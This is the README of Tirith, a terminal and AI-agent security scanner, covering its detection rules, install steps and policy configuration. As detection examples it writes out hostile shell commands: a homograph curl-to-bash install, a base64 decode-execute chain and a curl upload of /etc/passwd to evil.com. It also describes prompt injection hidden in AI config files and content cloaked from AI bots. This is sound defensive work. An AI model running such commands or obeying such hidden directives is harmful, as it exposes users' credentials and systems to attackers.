
Terminal security for developers and AI agents. Intercepts homograph URLs, pipe-to-shell, ANSI injection, obfuscated payloads, data exfiltration, and malicious AI skills/configs before they execute.
Your browser would catch this. Your terminal won't.
Website | Docs | SKILL.md | Changelog | Releases
Independent open-source project, with hosting supported by the Vercel Open Source Program (Spring 2026 Cohort).
Can you spot the difference?
curl -sSL https://install.example-cli.dev | bash # safe
curl -sSL https://іnstall.example-clі.dev | bash # compromised
You can't. Neither can your terminal. Both і characters are Cyrillic (U+0456), not Latin i. The second URL resolves to an attacker's server. The script executes before you notice.
Browsers solved this years ago. Terminals still render Unicode, ANSI escapes, and invisible characters without question. AI agents run shell commands and install packages without inspecting what's inside.
Tirith stands at the gate. It intercepts commands, pasted content, and scanned files for homograph URLs, obfuscated payloads, credential exfiltration, malicious AI skills/configs, and known-bad packages/domains/IPs from a signed threat intelligence database before they execute.
brew install tirith
Then activate in your shell profile:
# zsh
eval "$(tirith init --shell zsh)"
# bash
eval "$(tirith init --shell bash)"
# fish
tirith init --shell fish | source
[!TIP]
eval "$(tirith init)"auto-detects your current shell (it inspects the parent process and falls back to$SHELLif needed). The explicit--shellflag is only required when you want to override the detection.
That's it for interactive-shell coverage. Commands accepted by that shell are
checked while the hook is loaded and healthy; exact blocking behavior depends
on the shell and mode. Run tirith doctor after installation and upgrades, and
read enforcement by shell before treating the hook as
an authorization boundary. Clean commands stay silent and normally take the
fast path.
Also available via npm, cargo, mise, apt/dnf, and more.
Homograph attack, blocked before execution:
$ curl -sSL https://іnstall.example-clі.dev | bash
tirith: BLOCKED
[CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
This is a homograph attack. The URL visually mimics a legitimate
domain but resolves to a completely different server.
Bypass: prefix your command with TIRITH=0 (applies to that command only)
The command never executes.
Pipe-to-shell with clean URL, warned, not blocked:
$ curl -fsSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
Consider downloading first and reviewing.
Warning prints to stderr. Command still runs.
Base64 decode-execute chain, blocked:
$ echo payload | base64 -d | bash
tirith: BLOCKED
[HIGH] base64_decode_execute, Base64 decode piped to interpreter
[HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
Catches decode chains through sudo/env wrappers and PowerShell -EncodedCommand too.
Credential exfiltration, blocked:
$ curl -d @/etc/passwd https://evil.com/collect
tirith: BLOCKED
[HIGH] data_exfiltration, Data exfiltration via curl upload
curl command uploads sensitive data to a remote server
Covers all curl/wget upload flags, env vars ($AWS_SECRET_ACCESS_KEY), and command substitution.
Malicious skill file, caught on scan:
$ tirith scan evil_skill.py
tirith scan: evil_skill.py, 3 finding(s)
[MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
[MEDIUM] obfuscated_payload, Long base64 string decoded and executed
[MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
Scans JS/Python files for obfuscated payloads, dynamic code execution, and secret exfiltration patterns.
Normal commands, invisible:
$ git status
$ ls -la
$ docker compose up -d
Nothing. Zero output. You forget tirith is running.
244 detection rules across 35 categories.
Tirith analyzes the structure of commands, pasted text, and files before they execute. It is a pre-execution gate, not a runtime defense, and does not cover:
tirith check warn
or block; they do not isolate a command after launch. The explicit
capsule run --preset untrusted-project and enforcing pkg install paths
provide fail-closed containment only on supported x86_64 Linux hosts.tirith run checks
a downloaded script's structure; it is still not dynamic malware analysis.)tirith browser audit is an explicit,
one-shot, read-only integrity audit of extension source trees. It never reads
cookies, history, saved passwords, storage, wallet databases, or Local State, never removes or quarantines anything, and has no daemon.See docs/threat-model.md for the full threat model and explicit non-goals, and docs/enforcement-coverage.md for a capability-by-capability ledger of what tirith detects, decides, enforces, contains, and attests.
tirith doctor to check live state
and watch for warn-only degradation.TMPDIR can therefore refuse every command, and
TIRITH=0 cannot recover because the binary is never reached. Follow the
recovery steps in troubleshooting.tirith run, and tirith fetch
are Unix surfaces. tirith run --no-exec remains an inspection workflow
there, but live remote-script execution is Linux-only and refuses before
download on every other host. tirith setup is cross-platform, while each
host integration has its own platform contract (for example Cline has POSIX
and Windows wrappers; OpenHands' blocking hook is Unix-only).apt, dnf, , ).Tirith ships a signed local threat database for package, hostname, and IP reputation. When a shell hook or tirith check sees a package install or suspicious infrastructure reference, it matches that input against the database before the command executes, instead of relying only on static heuristics.
Signed DB (built by CI, verified on download and load):
ThreatDB v2 adds exact artifact SHA-256 values, installed-file hashes, malicious URLs, campaign membership, and behavior tags. The signed index, updater, compiler, and loader support v1 and v2 during the staged cutover, reject sequence rollback, publish transactionally, and retain a signed last-known-good database when an update is incomplete or invalid. The DigitalSide source is implemented but intentionally inactive until its freshness and operating contract are approved.
Optional supplemental feeds (user-local overlay):
Optional live enrichment during tirith check and daemon mode:
tirith threat-db update # download + verify the signed DB
tirith threat-db status # age, signature, version, entry counts
tirith threat-db health # install, signature, staleness, counts
tirith threat-db sources # list every feed the DB is built from
tirith threat-db explain react # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01 # count changes since a version/date
By default, shell hooks and tirith check trigger a cheap background refresh check every 24 hours. Daemon mode keeps the same enrichment path warm in the background.
threat-db explain accepts a domain, a package name (name, ecosystem:name, or name@version), or an IPv4 address. The binary retains no per-entry history, so threat-db diff reports category and per-source count deltas between snapshots, not the exact entries changed. Every threat-db command takes --format json; threatdb is an alias.
tirith package risk <ecosystem> <name> scores a package's supply-chain / maintainer risk the way tirith score scores a URL, a deterministic, fully explainable sum of named factors, no model and no learned weights. tirith package explain <ecosystem> <name> adds the factor-by-factor derivation; both take --format json.
tirith package risk npm react # 0/100, a known-popular package
tirith package risk npm reqeusts # high, one edit from a popular name
tirith package explain pypi flask # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react # also consult the registry API
Offline by default. With no flags, every signal is local, with no network call: (1) name vs. popular packages: known-popular, unknown, or a one-edit near-miss of a popular name (the classic typosquat/slopsquat shape), from the local threat database's popular set; (2) known malicious typosquat: an exact match in the threat DB's typosquat index; (3) install / lifecycle scripts and (4) bundled binary blobs, detected only when the package content is locally available (under node_modules / site-packages, or via --path). tirith never downloads the package.
--online adds registry provenance. It consults the package's registry (npm, PyPI, or crates.io) for six more factors in the same factor-sum model: package/version age, an established package with no owners, an abnormal version spike, very low downloads, a missing source repo, and yanked/deprecated status. It is the only path on which package risk itself reaches the network; tirith check and daemon mode have a separate, policy-controlled runtime enrichment path. --offline / TIRITH_OFFLINE force this scorer offline regardless. Failures fall back to the offline score with an honest api signals: unavailable, and responses are cached with a TTL so repeated runs do not hammer the registries.
The score is advisory and standalone: package risk is not a detection rule and changes no verdict, exit code, or audit log.
tirith ecosystem scan [path] is the directory-level companion to package risk. It walks a project, discovers every dependency manifest it understands, npm (package.json, package-lock.json), Python (requirements*.txt, pyproject.toml), Rust (Cargo.toml), Go (go.mod), Ruby (Gemfile), and scores every declared dependency with the same deterministic package_risk factor engine.
tirith ecosystem scan # scan the current project
tirith ecosystem scan ./my-project # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./ # full machine-readable report
It folds in slopsquat detection. Slopsquatting is the registration of a plausible-but-fake name that LLMs tend to hallucinate as a dependency. ecosystem scan flags one only when all three hold: the name is not known-real or popular, it is shaped like an AI hallucination (a language prefix like python- / node- plus descriptive tokens, a stack of generic filler like helper / utils / client, or an unusually long name), and it sits near a real popular name (a one-edit near-miss, or it embeds a popular name as a word). Requiring all three keeps false positives low: an honest data-utils with no popular anchor does not fire.
Offline by default, opt-in --online. Name and typosquat signals come from the local threat database; --online adds registry provenance, gated and degraded exactly as package risk --online. This flag controls the ecosystem scan and does not alter tirith check's independent runtime-enrichment policy. Findings flow through tirith's normal Verdict / Finding model: explainable (tirith explain --rule threat_suspicious_package), audit-logged, and respecting the policy allowlist (an allowlisted package, by bare name or ecosystem:name, is suppressed). Exit codes match tirith scan: 1 for a blocking finding, 2 for advisory, 0 when clean.
This helps catch known-malicious packages, confirmed typosquats, slopsquatted package names, malicious download infrastructure, and packages with live OSV / CISA KEV advisory data.
Package-name risk is only one layer. Tirith can inspect the exact Python bytes you already have and, on supported hosts, enforce a hash-pinned install plan:
# Local evidence: never downloads an artifact
tirith package inspect --artifact dist/example-1.0-py3-none-any.whl
tirith package inspect --artifact-set ./downloaded-wheels
tirith package inspect --installed ./.venv
# Enforcing pip workflow: x86_64 Linux only
tirith pkg trust-tool /absolute/path/to/static-uv
tirith pkg approve pip requests==2.31.0 --target .tirith-pkg
tirith pkg install pip requests==2.31.0 --target .tirith-pkg
tirith pkg verify-env --target .tirith-pkg requests
Inspection covers wheel structure and identity, RECORD integrity and file
ownership, Python startup hooks, native ELF/Mach-O/PE extensions, execution
edges, and loader/payload splits across distributions. pkg graph, pkg diff,
pkg attest, and pkg receipt expose the corresponding provenance and receipt
evidence.
The enforcing path supports pip on x86_64 Linux only and requires the
documented native authority, a newly dedicated target directory, and an
enrolled fully static native uv. Every unsupported platform fails closed
before pip starts; it never falls back to an ordinary install. npm and Cargo
remain non-enforcing evidence surfaces. See the
0.4.0 release notes and
command reference.
Attack families tirith is built for (illustrative, not a caught-by-current-code claim):
Package-name extraction currently covers language ecosystems (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), not distro-level package managers (apt / dnf / yum / pacman). That's why xz-utils, which entered through Linux distro tarballs, is not in the table despite being a headline incident.
Tirith adds several independent protection layers around AI coding agents: config scanning, cooperative MCP tools, an MCP gateway, interactive-shell hooks, and host-native pre-tool hooks where the host exposes a documented blocking contract. Coverage depends on which layer the host actually loads.
When an AI agent executes through a hooked interactive shell (Claude Code,
Codex, Cursor, etc.), tirith's shell hook checks that interactive command before
the shell accepts it. This does not cover a non-interactive shell, a direct
exec, or an agent process that never loaded the hook:
Use tirith setup <tool> for one-command configuration (see AI Agent Integrations).
Run tirith mcp-server or use tirith setup <tool> --with-mcp to register tirith as an MCP server. AI agents can call these tools before taking action:
The default tools/list is a frozen compatibility contract, because clients
cache it and a tool that appears unannounced changes what an agent believes it
may call. A preview tool, tirith_check_task, is therefore not advertised by
default: run TIRITH_MCP_PREVIEW=1 tirith mcp-server to advertise it, and
without that opt-in a client that calls it by name is refused by name. See
docs/task-envelope.md.
tirith mcp lock captures every MCP server a repository declares, across .mcp.json / mcp.json / mcp_settings.json and the IDE config variants (.vscode/, .cursor/, .windsurf/, .cline/, .amazonq/, .continue/, .kiro/), into a deterministic lockfile at .tirith/mcp.lock. Each server is recorded with its transport (a remote URL, or a local command + args), declared tools, coverage metadata, and a content hash; servers are sorted by name/source so the lockfile is diff-friendly. Ambiguous or credential-bearing declarations are refused instead of copied into source control. Environment values and URL userinfo are represented only by fixed presence markers, never by raw values or deterministic hashes: adding/removing a variable or userinfo still drifts, while secret rotation intentionally does not. V7 lockfiles require one explicit re-lock to migrate to this v8 privacy model. Discovery is repo-local only and touches no network. ( is a separate command group from , which runs tirith an MCP server.)
tirith mcp verify is the gating companion: it rebuilds the current inventory against the committed lockfile and exits 1 on drift or incomplete/rejected config coverage (0 match, 2 on usage errors like a missing lockfile). tirith mcp diff reports the same drift informationally (always exit 0, 2 only on usage errors, so a consumer can tell "no drift" from "could not check"). Drift also surfaces through tirith scan as mcp_server_drift (Medium or High), so a pre-commit hook or CI catches an MCP-surface change the way it catches an un-pinned action. verify / diff never print env values or URL userinfos, only the names of what changed.
Two policy fields govern what is accepted. Both are keyed by an opaque mcp:v1:... identity binding source path, server name, and transport: scan.trusted_mcp_servers suppresses that exact server's config findings and drift, while scan.mcp_allowed_tools declares the exact tools it may expose. Bare names intentionally match nothing, so a same-named server in another config cannot inherit trust. An explicit tool allow-list also requires an operator-approved live descriptor set and checks both static declarations and live descriptor names. Run tirith mcp policy init to scaffold the exact keys into .tirith/mcp-policy.yaml.example, then use the gateway's --mcp-server-identity ... --approve-descriptors flow to capture an inspected tools/list baseline atomically. Every scaffold entry is commented out so importing never silently widens trust.
tirith scan detects prompt injection and hidden payloads in AI config files. It prioritizes and scans 50+ known AI config file patterns:
.cursorrules, .windsurfrules, .clinerules, CLAUDE.md, copilot-instructions.md.claude/ settings, agents, skills, plugins, rules.cursor/, .vscode/, .windsurf/, .cline/, .continue/, .roo/, .codex/ configsmcp.json, .mcp.json, What it catches in configs:
tirith scan also inspects the files a repo checks in to describe its own build and deploy pipeline. It detects the dangerous pattern, not the tool: a SHA-pinned action, a digest-pinned image, a local Terraform module, and a normal package.json stay clean.
What it catches in CI / infrastructure files:
.github/workflows/*.yml), an action uses: reference pinned to a mutable ref (@v3, @main) instead of a commit SHA; the pull_request_target trigger; a curl … | bash pipe-to-shell in a run: step; an attacker-controllable ${{ github.event.* }} value interpolated into a run: shell step (script injection)FROM base image on the mutable latest tag (or no tag) with no @sha256: digest pin*.tf), a module block sourced from a remote / untrusted location rather than a local path or the Terraform RegistryThree built-in --profile values tune the scan: ci-hardening (every check at full strength, fail-on high), ai-agent-repo (keeps injection findings, drops low-value pinning-hygiene noise), and oss-maintainer (emphasises contributor-controllable risk when reviewing a change).
tirith scan ./ # scan the repo
tirith scan --profile ci-hardening ./ # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif
Detects content invisible to humans but readable by AI in HTML, Markdown, and PDF:
display:none, visibility:hidden, opacity:0, font-size:0, off-screen positioningrm -rf or curl|bash (Medium), long comments hiding instructions (Low)tirith scan also inspects file types an AI coding agent (or a renderer) reads and acts on, looking for content smuggled past a human reviewer. A normal notebook, an ordinary CLAUDE.md with visible instructions, and a plain SVG image stay clean, only hidden / smuggled content fires.
*.ipynb), invisible / bidi / zero-width characters in cell source, a base64-encoded blob embedded in source, a cell hidden from the rendered view (metadata.jupyter.source_hidden / a hide_input tag), and cell outputs carrying invisible characters or active / hidden HTMLCLAUDE.md, AGENTS.md, .cursorrules, and similar), hidden directives only: an instruction inside an HTML comment (invisible in rendered Markdown) or a visually-hidden HTML element. These files legitimately contain visible instructions, so ordinary visible instructions never fire*.svg), an embedded <script>, an inline on* event handler, a javascript: URI, a remote xlink:href / href, or an XXE external-entity declarationtirith fetch compares server responses across 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) to detect when servers serve different content to AI bots vs browsers.
Beyond single commands, several command groups extend the gate to your operating context and workstation state. The ones that touch the hot path are opt-in (a policy flag); the rest run on demand.
Operational context (tirith context, ssh, iac, sudo). Label your prod cloud / Kubernetes contexts and SSH hosts once, and tirith escalates what matters: a destructive command against a labeled-prod context, an SSH to a labeled-prod host, a Terraform / Pulumi / OpenTofu apply with no matching saved plan, or a sudo escalation without a reasoned session window. Labels live in ~/.config/tirith/context-labels.yaml and ssh-host-labels.yaml (or repo-scoped under .tirith/).
Workstation hygiene (tirith hygiene, persistence, aliases, env, exec, path, hooks). Scan for loose-permission credential files and plaintext tokens (~/.ssh, ~/.aws, ~/.kube, .npmrc, .pypirc), diff the persistence footholds an attacker uses (shell rc, authorized_keys, crontab, LaunchAgents / systemd-user units, git core.hooksPath), flag aliases that shadow critical commands or read credentials, audit for hijack ordering, and report a binary's provenance (package owner, code signature, whether it shadows a system command).
Blast radius & isolation (tirith preview, watch, temp-run, taint, intend, baseline). Preview the filesystem impact of a destructive command before you run it, diff what a command actually changed afterward, run an untrusted command in a throwaway directory, and track files downloaded from risky sources so executing one later fires a finding. temp-run changes only the working directory; it is file isolation, not a sandbox.
tirith command-card) sign a known-good command with an ed25519 key; a trusted card that no longer matches the command fires High.tirith commands) is a .tirith/commands.yaml allowlist that quiets the unknown-command note for cleared commands and adds an elevation-only dangerous[] list (it can tighten a verdict, never weaken one).tirith canary) plant clearly-synthetic canary tokens; a touch in any checked command, paste, or tool output fires High. Detection is a local store lookup, not a shape match.tirith secret) reads recent credential findings from your audit log and prints provider-specific rotate / revoke steps for 11 providers. It never rotates anything itself and makes no network calls.tirith incident) declares an "under attack" posture: it forces fail_mode: closed, disables the TIRITH=0 bypass, and elevates the credential-sweep, decode-execute, and suspicious-binary rules until you stop it.tirith view, tirith output, gateway run --filter-output, and secure-by-default mcp-server) neutralizes terminal-deception escapes in command, MCP tool, and resource-read output: OSC 52 clipboard writes, fake prompts, OSC 8 hyperlink mismatch, and title / clear-screen manipulation. It also scans output for prompt injection (raw and deobfuscated) and data-exfiltration beacons. Add custom seeds with injection_seeds_custom, and opt in to redacting an injection-only MCP block to a warning (instead of blocking the whole output) with mcp_redact_injection. The legacy mcp-server --unsafe-unsanitized-tool-output escape hatch is not recommended.tirith share, tirith redact, tirith logs) strips secrets and customer / tenant IDs before you paste into a GitHub issue, Slack, an LLM, or a public paste.tirith paste --with-source, ). With the companion Chrome native-messaging host installed, tirith attributes a pasted command to its source page and flags a paste whose source host differs from where the command runs.Homebrew:
brew install tirith
Debian / Ubuntu (.deb):
Download from GitHub Releases, then:
sudo dpkg -i tirith_*_amd64.deb
Fedora / RHEL / CentOS 8+ and Amazon Linux 2023 (.rpm):
Download from GitHub Releases, then:
sudo dnf install ./tirith-*.rpm
The Linux GNU release binaries target a GLIBC 2.28 ceiling. CI runs both
x86_64 and aarch64 tarballs on AlmaLinux 8, Amazon Linux 2023, and Rocky Linux
9; the .deb and x86_64 .rpm contain those same canonical binaries.
Arch Linux (AUR):
yay -S tirith
# or: paru -S tirith
Nix:
nix profile install nixpkgs#tirith # from nixpkgs
nix profile install github:sheeki03/tirith # from upstream flake
# or try without installing: nix run github:sheeki03/tirith -- --version
Android/Termux runs on Bionic libc, not glibc, so the aarch64-unknown-linux-gnu
build cannot run there, it needs glibc's dynamic linker. Use the musl build
instead: tirith-aarch64-unknown-linux-musl.tar.gz is statically linked and runs
on Termux without an external libc.
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version
Then activate the shell hook in ~/.bashrc (Termux's default shell is bash):
eval "$(tirith init --shell bash)" # add to ~/.bashrc
[!NOTE] Termux support is best-effort. The musl artifact is built and smoke-tested in CI, but tirith is not yet continuously tested on a real Android device. If a hook misbehaves under Termux, please open an issue with
tirith doctoroutput.
Windows supports detection, scanning, webhooks, policy management, audit
uploads, and tirith setup. The PowerShell hook provides PSReadLine preflight
interception, but it does not claim a strict post-accept execution receipt.
Live remote-script execution and daemon mode remain unavailable on Windows.
Scoop:
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith
Chocolatey (community repository):
choco install tirith
# Upgrade an existing Chocolatey installation:
choco upgrade tirith
Chocolatey moderation can lag the GitHub release. Run choco info tirith to
see the currently approved version. Use Scoop or a signed artifact from
GitHub Releases when the
newest release is required before Chocolatey moderation finishes.
npm:
npm install -g tirith
Cargo:
cargo install tirith
Mise (official registry):
mise use -g tirith
asdf:
asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git
asdf install tirith latest
asdf global tirith latest
Docker:
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"
Add to your shell profile (.zshrc, .bashrc, or config.fish):
eval "$(tirith init --shell zsh)" # in ~/.zshrc
eval "$(tirith init --shell bash)" # in ~/.bashrc
tirith init --shell fish | source # in ~/.config/fish/config.fish
Bash uses enter mode when a capability self-test has proven it works for your bash, and preexec otherwise. tirith setup / tirith doctor run the self-test; the shell hook reads its cached verdict at startup. See troubleshooting for details on the modes, the self-test, and SSH fallback behavior.
macOS's system Bash 3.2 remains a compatibility path, not the modern blocking baseline. Its DEBUG-trap behavior can prevent the trampoline from sticking; Tirith announces the resulting degradation when its heartbeat can observe it, which may be one command later. Use Bash 5+ or a proven enter-mode path when a strict Bash authorization gate is required.
[!WARNING] Bash's preexec mode is warn-only by default. Set
TIRITH_BASH_PREEXEC_ENFORCE=1for conditional blocking. Tirith scans the trustworthy typed line once, enables its ownextdebugonly after a block verdict, and releases it beforePROMPT_COMMANDruns. If prompt boundaries or a caller-owned DEBUG trap cannot be preserved safely, orextdebugis already user-enabled, Tirith visibly leaves preexec interception off instead of clobbering shell state.
For guaranteed line-level blocking on bash, run tirith doctor --simulate-enter, if delivery works, enter mode is enabled. Where it does not, use preexec enforce for "blocks when possible; tells you honestly when it can't."
Interactive bash, zsh, and fish use a protocol-v3 execution receipt after the
preflight decision. At hook load, they resolve and pin one absolute Tirith
executable and register a one-time capability bound to the live shell process,
shell family, session, user, and executable identity. A receipt then moves
through Prepared, Armed, Consuming, and a terminal
Committed/Conflict/Discarded state. This improves attribution and replay
resistance, but shell evidence is deliberately recorded as unresolved rather
than proof that every command component executed. Tirith itself owns any
approval or warning-acknowledgement prompt before returning an armed receipt;
the hook cannot attach those facts later. Zsh and fish consume the armed
receipt synchronously in the same line-acceptance handler and hand the command
to the native shell only after that transition succeeds. PowerShell has
preflight blocking without this strict receipt protocol.
A nested shell receives its own process-bound capability even when it inherits
the session ID. Re-sourcing the hook in the same process never mints another
bearer. If exec replaces a live shell without changing its PID/start identity,
the replacement cannot recover the deliberately non-exported bearer and runs in
visibly degraded legacy mode; start a fresh terminal or child shell to restore
strict receipts. exec "$SHELL" is not a receipt-protocol restart because it
preserves that process identity.
Nix / Home-Manager: tirith must be in your $PATH when the hook is sourced.
Bash, zsh, and fish then pin that resolved executable for the shell session;
restart the shell after replacing or upgrading the binary. Adding it to
initContent alone is not enough.
home.packages = [ pkgs.tirith ];
programs.zsh.initContent = ''
eval "$(tirith init --shell zsh)"
'';
tirith can verify its own integrity and update itself. Both commands reach the network only when you run them.
tirith verify-self # is this binary the genuine, unmodified release?
tirith update # update to the latest release
tirith version --provenance # version, build info, install method, verification
tirith verify-self confirms the running binary is the genuine, unmodified binary from an official release. It re-downloads the release archive for your version and target, verifies it against the signed release checksums.txt, verifies the cosign signature over checksums.txt when cosign is installed, and confirms the running binary is byte-identical to the official one. If full verification is not possible, a local dev build, no network, an install tirith cannot identify, it says so honestly rather than reporting a false "verified". With cosign absent the checksum is still verified (reported as verified-checksum-only); install cosign for full signature verification (verified-signed).
tirith update is package-manager-aware:
brew upgrade tirith. Updating through the package manager keeps its database consistent.install.sh tarball, or a standalone binary) are updated in place: tirith downloads the latest release, verifies it, then atomically swaps the binary, keeping the previous one as a tirith.tirith-previous sidecar. The cosign signature is verified by default: if it cannot be verified (cosign missing, or the release published no signature) the update aborts. Pass --allow-unsigned to fall back to checksum-only verification; a checksum mismatch always aborts regardless. tirith update --rollback reverts to the previous binary; --dry-run shows what would happen without changing anything.[!NOTE] The install scripts (
scripts/install.shand the Windowsinstall.ps1) also verify the release's cosign signature by default and abort ifcosignis missing or the signature cannot be verified. Installcosignfirst, or setTIRITH_ALLOW_UNSIGNED=1to install with checksum-only verification (not recommended). A checksum or signature mismatch always aborts regardless of this opt-out.
Oh-My-Zsh:
git clone https://github.com/sheeki03/ohmyzsh-tirith \
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith
# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)
Use tirith setup <tool> for one-command configuration. This is the complete
named setup surface, including both the earlier integrations and the additions
released in 0.4.0:
An MCP-only row exposes Tirith's tools but does not force the host to call them.
A hook row is automatic only after the host has loaded the generated artifact
and still honors its refusal contract. Run tirith doctor, restart the host,
and perform the host-shaped allow/block check after setup and every upgrade.
Full config paths, precedence rules, fail-open behavior, and verification steps
are in the
agent integration and trust matrix.
See mcp/clients/ for the host-specific guides that are available.
GitHub Action with SARIF upload to GitHub Security tab:
- uses: sheeki03/tirith@v1
with:
fail_on: high
sarif: true
The action's pinned dependencies use the Node 24 action runtime. Self-hosted runners must use Actions Runner v2.327.1 or newer; GitHub-hosted runners already satisfy this requirement.
Also available as a pre-commit hook: see .pre-commit-hooks.yaml in this repo.
Scan supports --include, --exclude, --profile (loads named profiles from policy), and --ignore filters for targeted CI scanning.
tirith explain --rule pipe_to_interpreter # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal # all rules in a category
Every finding carries a per-rule remediation: a short, accurate "how to make
this safe" line, shown under each finding (Fix:) and in --format json.
tirith explain --rule <id> --fix prints that remediation on its own.
When a command is blocked or warned, tirith check --suggest additionally
prints remediation for the actual command. It includes a concrete executable
rewrite only for a narrow mechanical transform whose final command is verified
under the same effective policy:
tirith check --suggest -- 'curl -fsSL https://example-cli.dev/i.sh | bash'
# → try: '/usr/local/bin/tirith' run --capsule --script-stdin --interpreter bash \
# 'https://example-cli.dev/i.sh'
On x86_64 Linux, when Tirith is installed at a fixed root-managed system path
and the command's URL, shell, arguments, and stdin behavior can be decoded
exactly, the rewrite routes pipe-to-shell through Tirith's bounded, reviewed,
hash-verified, fail-closed capsule runner. The absolute Tirith path prevents a
later PATH shadow from changing what runs. At execution, the runner also
requires the selected interpreter's first PATH hit to be root-managed, binds
its bytes before downloading, and preserves that shell instead of trusting the
remote shebang. Other architectures, platforms, and user-owned Tirith
installations keep this remediation as guidance. For curl, executable rewrites
additionally require both
fail-on-HTTP-error and redirect-following semantics (-f and -L, including a
bundle such as -fsSL). Dynamic or malformed URL tokens, unsupported
interpreter arguments, PowerShell, Cmd, and ambiguous pipelines remain
guidance-only. Executable suggestions are limited to the verified, fail-closed
pipe runner. Archive, dotfile, TLS-flag removal, HTTP-to-HTTPS changes, sudo
narrowing, environment scrubbing, and package-name corrections
are guidance-only because their exact shell, network, privilege, environment,
or registry semantics are not mechanically provable. For any finding without a
safe mechanical rewrite, Tirith says so plainly and shows the remediation
instead; it never emits a guessed command. The flag is advisory: it changes
neither the verdict nor the exit code.
Optional background process for sub-millisecond latency and network-aware enrichment (shortened URL resolution, DNS blocklist checks):
tirith daemon start # tirith check auto-delegates when running
tirith daemon stop
[!NOTE] Daemon mode is Unix-only today.
The everyday commands:
Explicit, opt-in surfaces. None of these run implicitly, and none has a daemon or a background monitor:
That is the daily-driver set. tirith ships 78 top-level commands in all, in 8 groups: scan & analyze, status & health, setup, policy & trust, shell & system guards (hygiene, persistence, exec, path, context, ssh, sudo, iac), supply-chain, AI-agent integrations, and forensics & response. Run tirith --help for the categorized list, or see the full command reference. The global --quiet flag (or TIRITH_QUIET=1) silences advisory output without hiding errors, verdicts, or security notices.
paste, score, diff, and why make zero
network calls. tirith check can query configured OSV/deps.dev/ecosyste.ms,
CISA KEV, and Safe Browsing sources and can trigger the periodic threat-DB
refresh below. tirith check --offline (or TIRITH_OFFLINE=1) suppresses all
of those HTTP and DNS paths, reads only existing runtime caches, and reports
cache misses as incomplete verification rather than a clean result.tirith check and the shell hooks
trigger a cheap, detached background check at most once every 24 hours by
default (threat_intel.auto_update_hours), to keep the signed database fresh.
It never blocks the command. Set auto_update_hours: 0 to disable it, or
--offline / TIRITH_OFFLINE=1 to suppress it per invocation.
does trigger it; it goes straight through the local engine.tirith policy init # creates .tirith/policy.yaml in your repo
tirith policy validate # check for syntax/schema errors
tirith policy test "curl https://example.com | bash" # dry-run against policy
tirith policy init accepts --template <name> for a curated starter policy:
tirith policy init --template individual # solo developer defaults (alias: personal)
tirith policy init --template ci-strict # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer # reviewing contributor-controllable risk
tirith policy init --template startup # small-team balance
tirith policy init --template enterprise # strict, with an active package_policy block
tirith policy init --template mcp-strict # locked-down MCP server and tool trust
Each template is a well-commented, schema-valid policy you can edit further.
With no --template, tirith policy init writes the full default policy.
Tirith uses a YAML policy file. Discovery order:
.tirith/policy.yaml in current directory (walks up to repo root)~/.config/tirith/policy.yamlfail_mode: open # or "closed" for strict environments
paranoia: 1 # 1-4: higher = more sensitive
strict_warn: false # require explicit acknowledgement for warnings
allowlist:
- "get.docker.com"
- "sh.rustup.rs"
blocklist:
- "evil.example.com"
severity_overrides:
docker_untrusted_registry: CRITICAL
scan:
ignore_patterns:
- "node_modules"
- "target"
profiles:
ci:
include: ["*.md", "*.json", "*.yaml", ".claude/*"]
fail_on: high
Use allowlist_rules for rule-scoped suppressions when you trust a source for one rule but do not want to globally allowlist it:
allowlist_rules:
- rule_id: curl_pipe_shell
patterns:
- "get.docker.com"
tirith trust manages trusted patterns without hand-editing policy YAML. Trust
is narrow and expiring by default: trust the most specific thing that
works, and entries expire after 30 days unless you opt out.
# Narrowest scope, a specific URL or path is accepted as-is, 30-day TTL.
# A schemeless host/path is normalized as HTTPS for exact matching.
tirith trust add raw.githubusercontent.com/org/repo/main/get.sh
# A whole domain / wildcard / bare TLD is broad, it must be opted into.
tirith trust add get.docker.com --broad --rule curl_pipe_shell
# Opt out of the default TTL, and record why the entry exists.
tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"
tirith trust list # scope class per entry; '!' marks broad ones
tirith trust explain example.com # what it covers, when it expires, why added
tirith trust diff # what changed in the trust set
tirith trust gc --expired # drop expired entries
Each entry's scope is classified as exact, substring, domain,
wildcard, or bare-TLD. Every non-exact scope (substring / domain /
wildcard / bare-TLD) requires --broad, so a sweeping allow is always a
deliberate choice. Exact URLs use normalized URL equality (including scheme,
host, effective port, path, query, and fragment), never substring matching. All
subcommands support --format json. Trust stores written by older versions of
tirith keep working unchanged, an entry with no TTL is treated as permanent.
Warnings are tracked per session. If the same rule fires repeatedly, escalation rules can upgrade to a block:
action_overrides:
shortened_url: block # always block, regardless of default severity
escalation:
- trigger: repeat_count
rule_ids: ["*"] # any rule
threshold: 5
window_minutes: 60
action: block
- trigger: multi_medium
min_findings: 3 # 3+ medium findings on one command → block
action: block
Review accumulated warnings at any time:
tirith warnings # table of session warnings
tirith warnings --format json # structured output
tirith warnings --clear # clear after viewing
